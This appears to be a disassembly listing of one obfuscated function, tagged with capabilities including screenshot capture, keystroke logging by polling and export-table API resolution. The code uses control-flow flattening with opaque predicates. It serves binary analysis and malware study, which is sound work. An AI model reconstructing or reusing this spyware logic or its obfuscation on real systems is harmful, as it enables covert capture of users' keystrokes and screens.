Function at 0x1402b3d10
Capabilities:
Capture screenshot
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x328
lea rbp, [rsp + 0x80]
movapd xmmword [rbp + 0x290], xmm11
movaps xmmword [rbp + 0x280], xmm10
movaps xmmword [rbp + 0x270], xmm9
movaps xmmword [rbp + 0x260], xmm8
movaps xmmword [rbp + 0x250], xmm7
movaps xmmword [rbp + 0x240], xmm6
mov eax, dword [0x14083eee8]
mov ecx, dword [0x14083eeec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x17b]
cmp ecx, 0xa
setl byte [rbp + 0x17a]
xorps xmm6, xmm6
xorps xmm7, xmm7
movsd xmm8, qword [0x1403f1728]
movsd xmm9, qword [0x1403dd5e0]
movsd xmm10, qword [0x1403f1730]
xorpd xmm11, xmm11
mov dword [rbp + 0x54], eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov eax, 0x735a6c12
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b5e4cb
mov ecx, 0x9c145ab6
nop word cs:[rax + rax]
nop dword [rax + rax]
cmove eax, ecx
cmp dword [0x14083eeec], 0xa
cmovl eax, ecx
cmp eax, 0x41b87ac
jle 0x1402b3e70
cmp eax, 0x42055e34
jg 0x1402b3ef0
cmp eax, 0x1e823e59
jle 0x1402b3fbb
cmp eax, 0x31f291db
jle 0x1402b4115
cmp eax, 0x3a5840b4
jg 0x1402b5403
cmp eax, 0x3624f508
jg 0x1402b58f5
cmp eax, 0x35d83e9d
jg 0x1402b6180
cmp eax, 0x31f291dc
je 0x1402b7ffd
cmp eax, 0x32b055e9
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x821f31f1
mov ecx, 0x704fcf8c
jmp 0x1402b3de0
cmp eax, 0xc7531a4e
jle 0x1402b3f50
cmp eax, 0xe202b1ba
jle 0x1402b4007
cmp eax, 0xf3452377
jle 0x1402b416a
cmp eax, 0xfecd7834
jg 0x1402b544d
cmp eax, 0xf79275ce
jg 0x1402b5920
cmp eax, 0xf625b592
jg 0x1402b61c2
cmp eax, 0xf3452378
je 0x1402b8025
cmp eax, 0xf5e6de44
jne 0x1402b3ded
cmp byte [rbp + 0x170], 0
mov eax, 0x266422f1
mov ecx, 0x3add1e3e
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0x629ba0f6
jg 0x1402b405f
cmp eax, 0x4daf8f4c
jle 0x1402b42a4
cmp eax, 0x5a7061a0
jle 0x1402b549e
cmp eax, 0x5d5fa443
jg 0x1402b5a0d
cmp eax, 0x5b51e5c2
jg 0x1402b620b
cmp eax, 0x5a7061a1
je 0x1402b8043
cmp eax, 0x5a8b0db8
jne 0x1402b3ded
mov eax, 0x209fa1a9
jmp 0x1402b3ded
cmp eax, 0xa4743231
jg 0x1402b40ba
cmp eax, 0x9628cfd0
jg 0x1402b42f6
cmp eax, 0x89f30355
jle 0x1402b54db
cmp eax, 0x8bd4c59f
jg 0x1402b5a47
cmp eax, 0x8aa35a54
jg 0x1402b6317
cmp eax, 0x89f30356
je 0x1402b805e
cmp eax, 0x8a87e3a5
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb075d1d
mov ecx, 0xb206edcc
jmp 0x1402b3de0
cmp eax, 0xef79022
jg 0x1402b5266
cmp eax, 0x828c2c8
jle 0x1402b5525
cmp eax, 0xc254246
jg 0x1402b5a91
cmp eax, 0xaa8c19d
jg 0x1402b634b
cmp eax, 0x828c2c9
je 0x1402b8154
cmp eax, 0x98977e0
jne 0x1402b3ded
mov eax, 0xe890fcd
jmp 0x1402b3ded
cmp eax, 0xd353affa
jg 0x1402b52bb
cmp eax, 0xcb075d1c
jle 0x1402b555b
cmp eax, 0xd0a3c5f0
jg 0x1402b5acd
cmp eax, 0xcc0bb34b
jg 0x1402b638b
cmp eax, 0xcb075d1d
je 0x1402b815e
cmp eax, 0xcb0914e3
jne 0x1402b3ded
mov eax, 0x45048a16
mov cl, byte [rbp + 0x1e7]
mov byte [rbp + 0x1ef], cl
jmp 0x1402b3ded
cmp eax, 0x6f91de97
jg 0x1402b5310
cmp eax, 0x65602195
jle 0x1402b55ac
cmp eax, 0x6c34dfb5
jg 0x1402b5b09
cmp eax, 0x679c182c
jg 0x1402b63ab
cmp eax, 0x65602196
je 0x1402b8168
cmp eax, 0x6572788e
jne 0x1402b3ded
cmp byte [rbp + 0x179], 0
mov eax, 0xbd4d0f8f
mov ecx, 0x41c6d70
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0xb5f0d33f
jg 0x1402b539c
cmp eax, 0xb07bc02e
jle 0x1402b55f3
cmp eax, 0xb4524d73
jg 0x1402b5b48
cmp eax, 0xb206edcb
jg 0x1402b63e6
cmp eax, 0xb07bc02f
je 0x1402b8178
cmp eax, 0xb1efc176
jne 0x1402b3ded
cmp byte [rbp + 0x178], 0
mov eax, 0xcb0914e3
mov ecx, 0x9dd2d6f7
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0x266422f0
jle 0x1402b5638
cmp eax, 0x2b0b3c24
jg 0x1402b5b93
cmp eax, 0x2aa833f1
jg 0x1402b641b
cmp eax, 0x266422f1
je 0x1402b8191
cmp eax, 0x27a3cca6
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6c34dfb6
mov ecx, 0x31f291dc
jmp 0x1402b3de0
cmp eax, 0xe798fdaa
jle 0x1402b5675
cmp eax, 0xec9e54a2
jg 0x1402b5bbe
cmp eax, 0xea5fd67a
jg 0x1402b6636
cmp eax, 0xe798fdab
je 0x1402b81a2
cmp eax, 0xea0c7c95
jne 0x1402b3ded
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x78]
mov ecx, dword [0x14083da44]
mov eax, dword [0x14083da40]
movd xmm0, ecx
movd xmm1, eax
punpckldq xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
psrad xmm0, 1
cvtdq2pd xmm0, xmm0
mov r8, qword [rbp - 0x18]
mov ebx, dword [0x14083eef0]
mov edi, dword [0x14083eef4]
lea esi, [rbx - 1]
imul esi, ebx
test sil, 1
sete byte [rbp + 0x210]
cmp edi, 0xa
setl byte [rbp + 0x190]
mov ebx, 0xb927ffbd
nop dword [rax + rax]
cmp ebx, 0xd85c2a7d
jg 0x1402b4260
cmp ebx, 0xb927ffbd
je 0x1402b427f
cmp ebx, 0xc6984a59
jne 0x1402b4210
movups xmmword [r8], xmm0
mov edx, dword [0x14083eef0]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov ebx, 0x313521ab
mov edx, 0xd85c2a7e
cmove ebx, edx
cmp dword [0x14083eef4], 0xa
cmovl ebx, edx
jmp 0x1402b4210
cmp ebx, 0xd85c2a7e
je 0x1402b81ac
cmp ebx, 0x313521ab
jne 0x1402b4210
movups xmmword [r8], xmm0
mov ebx, 0xc6984a59
jmp 0x1402b4210
movzx edx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov ebx, 0x313521ab
mov edi, 0xc6984a59
cmovne ebx, edi
test dl, dl
cmovne ebx, edi
jmp 0x1402b4210
cmp eax, 0x46b54577
jle 0x1402b56ab
cmp eax, 0x47b299dd
jg 0x1402b5bf1
cmp eax, 0x47401615
jg 0x1402b6666
cmp eax, 0x46b54578
je 0x1402b8396
cmp eax, 0x47183a20
jne 0x1402b3ded
mov eax, dword [rbp + 0x188]
cmp eax, 5
mov eax, 0x12449df2
mov ecx, 0x1586975e
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0x9c145ab5
jle 0x1402b570a
cmp eax, 0x9fa77498
jg 0x1402b5c2d
cmp eax, 0x9dd2d6f6
jg 0x1402b6690
cmp eax, 0x9c145ab6
je 0x1402b83bd
cmp eax, 0x9c5ca529
jne 0x1402b3ded
mov eax, dword [rbp + 0x64]
lea eax, [rax + rax*4]
shl eax, 2
add eax, dword [rbp + 0x1fc]
cdqe
mov rcx, qword [0x14083dd00]
movzx r15d, byte [rcx + rax*4]
cmp r15d, 0x64
setae byte [rbp + 0x88]
cmp r15d, 0x4f
setb byte [rbp + 0x90]
cmp r15d, 0x5a
setb byte [rbp + 0x98]
cmp r15d, 0x3d
setae r10b
movzx r12d, byte [rcx + rax*4 + 1]
movzx edi, byte [rcx + rax*4 + 2]
cmp edi, 0x6e
setae byte [rbp + 0x200]
cmp edi, 0x69
setae r11b
mov eax, edi
sub eax, r15d
mov esi, r15d
sub esi, r12d
cmp esi, 0x3c
setge r9b
mov r8d, edi
sub r8d, r12d
mov dword [rbp + 0x140], r8d
mov ecx, eax
neg ecx
mov edx, eax
cmovge edx, ecx
cmp edx, 0xe
mov ebx, 0x320b7ca8
mov edx, 0x9243edaa
cmovb ebx, edx
mov dword [rbp + 0xa8], ebx
mov edx, dword [0x14083eef8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x14083eefc], 0xa
setl dl
or dl, bl
cmp esi, 0x32
setge bl
and bl, r11b
mov byte [rbp + 0xb0], bl
mov esi, 0xa8ff937
mov ebx, 0x4b411c83
cmovne esi, ebx
mov dword [rbp + 0xb8], esi
cmp r8d, 0x5a
mov esi, 0x320b7ca8
mov ebx, 0xb9971b53
cmovge esi, ebx
mov dword [rbp + 0xbc], esi
mov esi, 0xa8ff937
mov ebx, 0x129ce85e
cmovge esi, ebx
mov dword [rbp + 0xc0], esi
lea ebx, [rax - 0x4f8510be]
sub ebx, 0xb07aef42
cmovb ebx, ecx
mov dword [rbp + 0xc4], ebx
cmp r12d, 0x78
mov r14d, 0xd14e77a5
mov ebx, 0x582c8a14
cmovae r14d, ebx
lea ebx, [r12 - 0xf1]
cmp ebx, 0xe
setb bl
and bl, r10b
mov byte [rbp + 0xc8], bl
lea ebx, [r12 - 0x3d]
cmp ebx, 0x1d
setb bl
and bl, r10b
mov byte [rbp + 0x227], bl
lea ebx, [rdi - 0xf1]
mov dword [rbp + 0xcc], ebx
add edi, 0xffffff23
cmp edi, 0x22
mov r13d, 0x879c1d07
mov ebx, 0x355c5d0f
cmovb r13d, ebx
test byte [rbp + 0x200], r9b
mov edi, 0x320b7ca8
mov ebx, 0x4e81ebe6
cmovne edi, ebx
mov dword [rbp + 0xd0], edi
mov edi, 0x48478b74
mov ebx, 0x4fd68c8e
cmovne edi, ebx
mov dword [rbp + 0xd4], edi
lea ebx, [rax - 0x694295a6]
sub ebx, 0x96bd6a5a
cmovb ebx, ecx
cmp ebx, 0xe
mov edi, 0x48478b74
mov ebx, 0x3d95e98c
cmovl edi, ebx
mov dword [rbp + 0xd8], edi
cmp r8d, 0x3c
mov edi, 0x86af495c
mov ebx, 0x9ff3b93c
cmovge edi, ebx
mov dword [rbp + 0xdc], edi
add eax, 0x9d0172d1
sub eax, 0x9d0172d1
cmovb eax, ecx
cmp eax, 9
mov ecx, 0x86af495c
mov eax, 0x6149549
cmovl ecx, eax
mov dword [rbp + 0xe0], ecx
test dl, dl
mov ecx, 0x9dc021d0
mov eax, 0xbbe089ed
cmovne ecx, eax
mov dword [rbp + 0xe4], ecx
mov ecx, 0x9dc021d0
mov eax, 0x3f8d69ad
cmovne ecx, eax
mov dword [rbp + 0xe8], ecx
mov ecx, 0x63d0140a
mov eax, 0x93df7922
cmovne ecx, eax
mov dword [rbp + 0xec], ecx
mov ecx, 0x63d0140a
mov eax, 0x51224ba6
cmovne ecx, eax
mov dword [rbp + 0xf0], ecx
mov ecx, 0x611bb2d0
mov eax, 0x1cd05ed2
cmovne ecx, eax
mov dword [rbp + 0xf4], ecx
mov ecx, 0x611bb2d0
mov eax, 0x313ad3bc
cmovne ecx, eax
mov dword [rbp + 0x200], ecx
mov ecx, 0xf61763f8
mov eax, 0xfb6edee4
cmovne ecx, eax
mov dword [rbp + 0xf8], ecx
mov ecx, 0xf61763f8
mov eax, 0x71a9dd7f
cmovne ecx, eax
mov dword [rbp + 0x1c4], ecx
mov ecx, 0x9c175cfc
mov eax, 0xfa4f8c99
cmovne ecx, eax
mov dword [rbp + 0xfc], ecx
mov ecx, 0x9c175cfc
mov eax, 0x1c06d4b0
cmovne ecx, eax
mov dword [rbp + 0x100], ecx
mov ecx, 0x3a402c9b
mov eax, 0xe526da47
cmovne ecx, eax
mov dword [rbp + 0x104], ecx
mov ecx, 0x3a402c9b
mov eax, 0x27998977
cmovne ecx, eax
mov dword [rbp + 0x1c8], ecx
mov ecx, 0x4787549
mov eax, 0xc958e9b0
cmovne ecx, eax
mov dword [rbp + 0x108], ecx
mov ecx, 0x4787549
mov eax, 0xb1904259
cmovne ecx, eax
mov edx, 0xf2292618
mov eax, 0xc0626a9b
cmovne edx, eax
mov dword [rbp + 0x10c], edx
mov edx, 0xf2292618
mov eax, 0xdb82b6eb
cmovne edx, eax
mov dword [rbp + 0x110], edx
mov edx, 0xb46db045
mov eax, 0x9283015a
cmovne edx, eax
mov dword [rbp + 0x114], edx
mov edx, 0xb46db045
mov eax, 0x86c3ee96
cmovne edx, eax
mov dword [rbp + 0x118], edx
mov edx, 0x4cfa81a7
mov eax, 0xcc7567e2
cmovne edx, eax
mov dword [rbp + 0x11c], edx
mov edx, 0x4cfa81a7
mov eax, 0x11f9b7d2
cmovne edx, eax
mov dword [rbp + 0x120], edx
mov edx, 0x75106d6
mov eax, 0xe77fc525
cmovne edx, eax
mov dword [rbp + 0x124], edx
mov edx, 0x75106d6
mov eax, 0xb6fe18a9
cmovne edx, eax
mov dword [rbp + 0x1cc], edx
mov edx, 0xe873c9c3
mov eax, 0x560586c0
cmovne edx, eax
mov dword [rbp + 0x128], edx
mov edx, 0xe873c9c3
mov eax, 0x5b80a5eb
cmovne edx, eax
mov dword [rbp + 0x12c], edx
mov edx, 0x99c98808
mov eax, 0x1a8d1cc1
cmovne edx, eax
mov dword [rbp + 0x130], edx
mov edx, 0x99c98808
mov eax, 0xa29d94b6
cmovne edx, eax
mov dword [rbp + 0x1d0], edx
mov edx, 0xa4a0fd7f
mov eax, 0x7888bf87
cmovne edx, eax
mov dword [rbp + 0x134], edx
mov edx, 0xa4a0fd7f
mov eax, 0xbc6f6660
cmovne edx, eax
mov dword [rbp + 0x1d4], edx
mov edx, 0x9b01d9c
mov eax, 0xd6bba5ff
cmovne edx, eax
mov dword [rbp + 0x138], edx
mov edx, 0x9b01d9c
mov eax, 0x5508568e
cmovne edx, eax
mov dword [rbp + 0x13c], edx
mov qword [rbp + 0xa0], r12
cmp r12d, 0xbe
mov edx, 0x31730401
mov eax, 0xe02be98b
cmovae edx, eax
mov dword [rbp + 0x144], edx
mov r12d, 0x7fbd2e16
mov eax, 0xa7452697
cmovae r12d, eax
mov r9d, 0x8d72677d
jmp 0x1402b47b0
mov r9d, 0x37394ae0
xor edi, edi
mov eax, r9d
cmp r9d, 0x75106d5
jle 0x1402b4820
cmp eax, 0x3d95e98b
jle 0x1402b4880
cmp eax, 0x582c8a13
jg 0x1402b493f
cmp eax, 0x4cfa81a6
jle 0x1402b4a66
cmp eax, 0x51224ba5
jg 0x1402b4c60
cmp eax, 0x4cfa81a7
je 0x1402b4f42
cmp eax, 0x4e81ebe6
je 0x1402b4f4d
mov r9d, eax
cmp eax, 0x4fd68c8e
jne 0x1402b47b0
mov r9d, dword [rbp + 0x120]
jmp 0x1402b47b0
cmp eax, 0xc0626a9a
jle 0x1402b48e0
cmp eax, 0xe77fc524
jg 0x1402b4985
cmp eax, 0xd14e77a4
jle 0x1402b4aa1
cmp eax, 0xdb82b6ea
jg 0x1402b4c96
cmp eax, 0xd14e77a5
je 0x1402b4f62
cmp eax, 0xd6bba5ff
je 0x1402b4f71
mov r9d, eax
cmp eax, 0xdb224399
jne 0x1402b47b0
xor ebx, ebx
mov r9d, dword [rbp + 0xd8]
jmp 0x1402b47b0
cmp eax, 0x2600224c
jg 0x1402b49d4
cmp eax, 0x11f9b7d1
jle 0x1402b4add
cmp eax, 0x1c06d4af
jg 0x1402b4cd2
cmp eax, 0x11f9b7d2
je 0x1402b4f8c
cmp eax, 0x129ce85e
je 0x1402b4fa0
mov r9d, eax
cmp eax, 0x1a8d1cc1
jne 0x1402b47b0
mov r9d, 0x86af495c
movzx edx, byte [rbp + 0x1bc]
jmp 0x1402b47b0
cmp eax, 0x9ff3b93b
jle 0x1402b4a1d
cmp eax, 0xb1904258
jle 0x1402b4b1f
cmp eax, 0xb9971b52
jg 0x1402b4d04
cmp eax, 0xb1904259
je 0x1402b4fae
cmp eax, 0xb46db045
je 0x1402b4fc1
mov r9d, eax
cmp eax, 0xb6fe18a9
jne 0x1402b47b0
cmp dword [rbp + 0x140], 0x32
setge byte [rbp + 0x234]
mov r9d, dword [rbp + 0x124]
jmp 0x1402b47b0
cmp eax, 0x63d01409
jle 0x1402b4b5c
cmp eax, 0x7888bf86
jg 0x1402b4d41
cmp eax, 0x63d0140a
je 0x1402b4fcc
cmp eax, 0x71a9dd7f
je 0x1402b4fd7
mov r9d, eax
cmp eax, 0x77b50b73
jne 0x1402b47b0
mov r9d, dword [rbp + 0x100]
jmp 0x1402b47b0
cmp eax, 0xfa4f8c98
jle 0x1402b4ba0
cmp eax, 0xfdfca998
jg 0x1402b4d71
cmp eax, 0xfa4f8c99
je 0x1402b4fe7
cmp eax, 0xfb6edee4
je 0x1402b5005
mov r9d, eax
cmp eax, 0xfd938e58
jne 0x1402b47b0
mov r9d, 0x3083be0d
movzx eax, byte [rbp + 0x90]
mov r10d, eax
jmp 0x1402b47b0
cmp eax, 0x31730400
jle 0x1402b4bdd
cmp eax, 0x36237960
jg 0x1402b4da6
mov r9d, r14d
cmp eax, 0x31730401
je 0x1402b47b0
cmp eax, 0x320b7ca8
je 0x1402b501d
mov r9d, eax
cmp eax, 0x355c5d0f
jne 0x1402b47b0
mov r9d, dword [rbp + 0x110]
jmp 0x1402b47b0
cmp eax, 0x92830159
jg 0x1402b4c26
cmp eax, 0x879c1d06
jle 0x1402b4dc7
cmp eax, 0x879c1d07
je 0x1402b47a8
cmp eax, 0x8d72677d
je 0x1402b502b
mov r9d, eax
cmp eax, 0x9243edaa
jne 0x1402b47b0
xor r11d, r11d
mov r9d, dword [rbp + 0xbc]
jmp 0x1402b47b0
cmp eax, 0x40b2a2c9
jle 0x1402b4df3
cmp eax, 0x40b2a2ca
je 0x1402b47a8
cmp eax, 0x48478b74
je 0x1402b5036
mov r9d, eax
cmp eax, 0x4b411c83
jne 0x1402b47b0
mov r9d, dword [rbp + 0xf0]
jmp 0x1402b47b0
cmp eax, 0xc958e9af
jle 0x1402b4e1f
cmp eax, 0xc958e9b0
je 0x1402b5043
cmp eax, 0xcc7567e2
je 0x1402b505e
mov r9d, eax
cmp eax, 0xcdede5c0
jne 0x1402b47b0
xor edi, edi
mov r9d, 0x37394ae0
jmp 0x1402b47b0
cmp eax, 0xa8ff936
jle 0x1402b4e40
cmp eax, 0xa8ff937
je 0x1402b506d
mov r9d, dword [rbp + 0x1d0]
cmp eax, 0xb7fac70
je 0x1402b47b0
mov r9d, eax
cmp eax, 0xfc36538
jne 0x1402b47b0
mov r9d, dword [rbp + 0x144]
jmp 0x1402b47b0
cmp eax, 0xa4a0fd7e
jle 0x1402b4e64
cmp eax, 0xa4a0fd7f
je 0x1402b5083
cmp eax, 0xa7452697
je 0x1402b47a8
mov r9d, eax
cmp eax, 0xa7b8d955
jne 0x1402b47b0
xor esi, esi
mov r9d, dword [rbp + 0xc0]
jmp 0x1402b47b0
cmp eax, 0x5cdc200a
jle 0x1402b4e9b
mov r9d, ecx
cmp eax, 0x5cdc200b
je 0x1402b47b0
mov r9d, dword [rbp + 0x1c8]
cmp eax, 0x5dbfe70e
je 0x1402b47b0
mov r9d, eax
cmp eax, 0x611bb2d0
jne 0x1402b47b0
mov r9d, 0x313ad3bc
jmp 0x1402b47b0
cmp eax, 0xf2292617
jle 0x1402b4ec7
cmp eax, 0xf2292618
je 0x1402b508e
cmp eax, 0xf61763f8
je 0x1402b5099
mov r9d, eax
cmp eax, 0xf651beac
jne 0x1402b47b0
xor ebx, ebx
mov r9d, dword [rbp + 0xd4]
jmp 0x1402b47b0
cmp eax, 0x27998976
jle 0x1402b4eeb
cmp eax, 0x27998977
je 0x1402b50a4
cmp eax, 0x3083be0d
je 0x1402b50bb
mov r9d, eax
cmp eax, 0x313ad3bc
jne 0x1402b47b0
cmp dword [rbp + 0xc4], 9
setl byte [rbp + 0x228]
mov r9d, dword [rbp + 0xf4]
jmp 0x1402b47b0
cmp eax, 0x99c98807
jle 0x1402b4f17
cmp eax, 0x99c98808
je 0x1402b50c9
cmp eax, 0x9c175cfc
je 0x1402b50d4
mov r9d, eax
cmp eax, 0x9dc021d0
jne 0x1402b47b0
mov r9d, 0x3f8d69ad
jmp 0x1402b47b0
cmp eax, 0x51224ba6
je 0x1402b50df
cmp eax, 0x5508568e
je 0x1402b50f6
mov r9d, eax
cmp eax, 0x560586c0
jne 0x1402b47b0
mov r9d, 0x37394ae0
movzx edi, byte [rbp + 0x210]
jmp 0x1402b47b0
cmp eax, 0xdb82b6eb
je 0x1402b5110
cmp eax, 0xe02be98b
je 0x1402b47a8
mov r9d, eax
cmp eax, 0xe526da47
jne 0x1402b47b0
cmp byte [rbp + 0x78], 0
mov r9d, 0x40b2a2ca
mov eax, 0x77b50b73
cmovne r9d, eax
jmp 0x1402b47b0
cmp eax, 0x1c06d4b0
je 0x1402b5129
cmp eax, 0x1cd05ed2
je 0x1402b5142
mov r9d, eax
cmp eax, 0x1f198b43
jne 0x1402b47b0
xor edx, edx
mov r9d, dword [rbp + 0xe0]
jmp 0x1402b47b0
cmp eax, 0xb9971b53
je 0x1402b515f
cmp eax, 0xbbe089ed
je 0x1402b516e
mov r9d, eax
cmp eax, 0xbc6f6660
jne 0x1402b47b0
movzx eax, byte [rbp + 0xb0]
mov byte [rbp + 0x1f4], al
mov r9d, dword [rbp + 0x134]
jmp 0x1402b47b0
cmp eax, 0x7888bf87
je 0x1402b5180
cmp eax, 0x7e266115
je 0x1402b519d
mov r9d, eax
cmp eax, 0x7fbd2e16
jne 0x1402b47b0
mov r9d, dword [rbp + 0x13c]
jmp 0x1402b47b0
mov r9d, r13d
cmp eax, 0xfdfca999
je 0x1402b47b0
cmp eax, 0x4787549
je 0x1402b51ab
mov r9d, eax
cmp eax, 0x6149549
jne 0x1402b47b0
xor edx, edx
mov r9d, dword [rbp + 0xdc]
jmp 0x1402b47b0
cmp eax, 0x36237961
je 0x1402b51b6
cmp eax, 0x3a402c9b
jne 0x1402b5242
mov r9d, 0x27998977
jmp 0x1402b47b0
cmp eax, 0x86af495c
je 0x1402b51cb
mov r9d, eax
cmp eax, 0x86c3ee96
jne 0x1402b47b0
mov byte [rbp + 0x160], 0
mov r9d, dword [rbp + 0x114]
jmp 0x1402b47b0
mov r9d, dword [rbp + 0x1cc]
cmp eax, 0x3d95e98c
je 0x1402b47b0
mov r9d, eax
cmp eax, 0x3f8d69ad
jne 0x1402b47b0
mov r9d, dword [rbp + 0xe4]
jmp 0x1402b47b0
cmp eax, 0xc0626a9b
je 0x1402b51e1
mov r9d, eax
cmp eax, 0xc7564925
jne 0x1402b47b0
mov r9d, r12d
jmp 0x1402b47b0
cmp eax, 0x75106d6
je 0x1402b51ff
mov r9d, eax
cmp eax, 0x9b01d9c
jne 0x1402b47b0
mov r9d, 0x5508568e
jmp 0x1402b47b0
mov r9d, dword [rbp + 0x1d4]
cmp eax, 0x9ff3b93c
je 0x1402b47b0
mov r9d, eax
cmp eax, 0xa29d94b6
jne 0x1402b47b0
cmp r15b, 0x69
setae byte [rbp + 0x1bc]
mov r9d, dword [rbp + 0x130]
jmp 0x1402b47b0
mov r9d, dword [rbp + 0x200]
cmp eax, 0x582c8a14
je 0x1402b47b0
mov r9d, eax
cmp eax, 0x5b80a5eb
jne 0x1402b47b0
mov r9d, dword [rbp + 0x128]
jmp 0x1402b47b0
cmp eax, 0xe77fc525
je 0x1402b520a
mov r9d, eax
cmp eax, 0xe873c9c3
jne 0x1402b47b0
mov r9d, 0x5b80a5eb
jmp 0x1402b47b0
mov r9d, dword [rbp + 0x1c4]
cmp eax, 0x2600224d
je 0x1402b47b0
mov r9d, eax
cmp eax, 0x273da506
jne 0x1402b47b0
mov r9d, dword [rbp + 0x118]
jmp 0x1402b47b0
cmp eax, 0x9283015a
je 0x1402b5227
mov r9d, eax
cmp eax, 0x93df7922
jne 0x1402b47b0
mov r9d, 0xa8ff937
movzx esi, byte [rbp + 0x238]
jmp 0x1402b47b0
mov r9d, 0x11f9b7d2
jmp 0x1402b47b0
movzx eax, byte [rbp + 0x88]
mov r11d, eax
mov r9d, 0x320b7ca8
jmp 0x1402b47b0
xor r11d, r11d
mov r9d, dword [rbp + 0xa8]
jmp 0x1402b47b0
cmp byte [rbp + 0x1f8], 0
mov r9d, 0xdb224399
mov eax, 0x1f198b43
cmovne r9d, eax
jmp 0x1402b47b0
cmp r15b, 0x64
setae byte [rbp + 0x58]
mov r9d, dword [rbp + 0x11c]
jmp 0x1402b47b0
xor esi, esi
mov r9d, dword [rbp + 0xb8]
jmp 0x1402b47b0
mov byte [rbp + 0x150], 0
mov r9d, dword [rbp + 0x108]
jmp 0x1402b47b0
mov r9d, 0x86c3ee96
jmp 0x1402b47b0
mov r9d, 0x51224ba6
jmp 0x1402b47b0
mov byte [rbp + 0x70], 0
mov r9d, dword [rbp + 0xf8]
jmp 0x1402b47b0
cmp byte [rbp + 0x148], 0
mov r9d, 0x3083be0d
mov eax, 0xfd938e58
cmovne r9d, eax
xor r10d, r10d
jmp 0x1402b47b0
cmp byte [rbp + 0x70], 0
mov r9d, 0xcdede5c0
mov eax, 0xfc36538
cmovne r9d, eax
jmp 0x1402b47b0
mov edi, r11d
mov r9d, 0x37394ae0
jmp 0x1402b47b0
mov r9d, 0xc7564925
jmp 0x1402b47b0
mov r9d, 0x37394ae0
mov edi, ebx
jmp 0x1402b47b0
cmp byte [rbp + 0x150], 0
mov r9d, 0x2600224d
mov eax, 0x5dbfe70e
cmovne r9d, eax
jmp 0x1402b47b0
mov r9d, 0x48478b74
movzx ebx, byte [rbp + 0x58]
jmp 0x1402b47b0
mov eax, esi
and al, 1
mov byte [rbp + 0x190], al
mov r9d, dword [rbp + 0xe8]
jmp 0x1402b47b0
mov r9d, 0xbc6f6660
jmp 0x1402b47b0
mov r9d, 0xdb82b6eb
jmp 0x1402b47b0
mov r9d, 0x71a9dd7f
jmp 0x1402b47b0
cmp dword [rbp + 0xcc], 0xe
setb byte [rbp + 0x78]
mov r9d, dword [rbp + 0x104]
jmp 0x1402b47b0
mov r9d, 0x37394ae0
mov edi, r10d
jmp 0x1402b47b0
mov r9d, 0xa29d94b6
jmp 0x1402b47b0
mov r9d, 0x1c06d4b0
jmp 0x1402b47b0
cmp r15b, 0x69
setae byte [rbp + 0x238]
mov r9d, dword [rbp + 0xec]
jmp 0x1402b47b0
cmp byte [rbp + 0xa0], 0x78
setae byte [rbp + 0x1f8]
mov r9d, dword [rbp + 0x138]
jmp 0x1402b47b0
movzx eax, byte [rbp + 0x227]
mov byte [rbp + 0x158], al
mov r9d, dword [rbp + 0x10c]
jmp 0x1402b47b0
movzx eax, byte [rbp + 0xc8]
mov byte [rbp + 0x148], al
mov r9d, dword [rbp + 0xfc]
jmp 0x1402b47b0
cmp byte [rbp + 0x228], 0
mov r9d, 0xa8ff937
mov eax, 0xa7b8d955
cmovne r9d, eax
xor esi, esi
jmp 0x1402b47b0
xor r11d, r11d
mov r9d, dword [rbp + 0xd0]
jmp 0x1402b47b0
movzx edi, byte [rbp + 0x190]
mov r9d, 0x37394ae0
jmp 0x1402b47b0
cmp byte [rbp + 0x1f4], 0
mov r9d, 0x86af495c
mov eax, 0xb7fac70
cmovne r9d, eax
xor edx, edx
jmp 0x1402b47b0
mov r9d, 0x37394ae0
mov edi, r8d
jmp 0x1402b47b0
mov r9d, 0xb1904259
jmp 0x1402b47b0
mov r9d, 0x7e266115
movzx eax, byte [rbp + 0x98]
mov r8d, eax
jmp 0x1402b47b0
mov eax, edx
and al, 1
mov byte [rbp + 0x210], al
mov r9d, dword [rbp + 0x12c]
jmp 0x1402b47b0
cmp byte [rbp + 0x158], 0
mov r9d, 0x7e266115
mov eax, 0x36237961
cmovne r9d, eax
xor r8d, r8d
jmp 0x1402b47b0
mov r9d, 0xb6fe18a9
jmp 0x1402b47b0
cmp byte [rbp + 0x234], 0
mov r9d, 0x48478b74
mov eax, 0xf651beac
cmovne r9d, eax
xor ebx, ebx
jmp 0x1402b47b0
cmp byte [rbp + 0x160], 0
mov r9d, 0x5cdc200b
mov eax, 0xfdfca999
cmovne r9d, eax
jmp 0x1402b47b0
mov r9d, eax
cmp eax, 0x37394ae0
jne 0x1402b47b0
test dil, 1
mov eax, 0xb5f0d340
mov ecx, 0x7aa2c712
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0x1586975d
jle 0x1402b5753
cmp eax, 0x18742114
jg 0x1402b5c58
cmp eax, 0x15909ba4
jg 0x1402b66cb
cmp eax, 0x1586975e
je 0x1402b83e9
cmp eax, 0x15901669
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x380e2436
mov ecx, 0xc1b86ea4
jmp 0x1402b3de0
